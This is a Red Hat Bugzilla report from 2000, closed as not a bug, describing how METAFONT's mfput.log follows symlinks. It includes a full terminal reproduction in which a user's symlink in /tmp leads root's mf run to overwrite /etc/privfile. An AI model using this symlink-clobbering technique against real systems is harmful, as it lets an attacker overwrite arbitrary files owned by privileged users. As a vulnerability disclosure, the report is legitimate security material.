Bug 9954 - mf logfile, mfput.log, will follow symlinks
Summary: mf logfile, mfput.log, will follow symlinks
Status: CLOSED NOTABUG
Alias: None
Product: Red Hat Linux
Classification: Retired
Component: tetex   
(Show other bugs)
Version: 6.1
Hardware: i386
OS: Linux
medium
medium
Target Milestone: ---
Assignee: Tim Waugh
QA Contact:
URL:
Whiteboard:
Keywords: Security
Depends On:
Blocks:
TreeView+ depends on / blocked
 
Reported: 2000-03-04 06:50 UTC by dpr
Modified: 2008-05-01 15:37 UTC (History)
0 users

Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Environment:
Last Closed: 2000-03-04 15:24:54 UTC
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
CRM:
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: ---


Attachments (Terms of Use)

Description dpr 2000-03-04 06:50:10 UTC
I typoed a mv tonight with mf (a command I've never used before), and when
I exited mf (with a cntl-c), I noticed a file called mfput.log in my
current directory.  Curious, I created /etc/privfile as root, then created
a symling in /tmp.  When I went into /tmp as root, and typed 'mf blah
blah', then exited, /etc/privfile had been overwritten.  This could
probably be used to overwrite any arbitrary file.

[root@operative /tmp]# cat /etc/redhat-release
Red Hat Linux
[root@operative /tmp]# rpm -qf /usr/bin/mf
tetex-1.0.6-7 release 6.1 (Cartman)

[root@operative /]# touch /etc/privfile
[root@operative /]# cat /etc/privfile
[root@operative /]#

[dpr@operative /tmp]$ ln -s /etc/privfile mfput.log
[dpr@operative /tmp]$ ls -al /tmp/mfput.log
lrwxrwxrwx   1 dpr     dpr           13 Mar  4 01:45 /tmp/mfput.log ->
/etc/privfile

[root@operative /]# cd /tmp
[root@operative /tmp]# mf blah blah
This is METAFONT, Version 2.7182 (Web2C 7.3.1)
kpathsea: Running mktexmf  blah
! I can't find file `blah'.
<*> blah
         blah
Please type another input file name: 		{I hit cntrl-c, here}
! Emergency stop.
<*> blah
         blah
Transcript written on mfput.log.
[root@operative /tmp]#

[root@operative /tmp]# cat /etc/privfile
This is METAFONT, Version 2.7182 (Web2C 7.3.1) (base=mf 1999.9.25)  4 MAR
2000 01:47
**blah blah

! Emergency stop.
<*> blah
         blah
End of file on the terminal!

Comment 1 Jeff Johnson 2000-03-04 15:24:59 UTC
This is not a bug in tetex, as there are a whole class of programs that
will exhibit the behavior you describe.


Note You need to log in before you can comment on or make changes to this bug.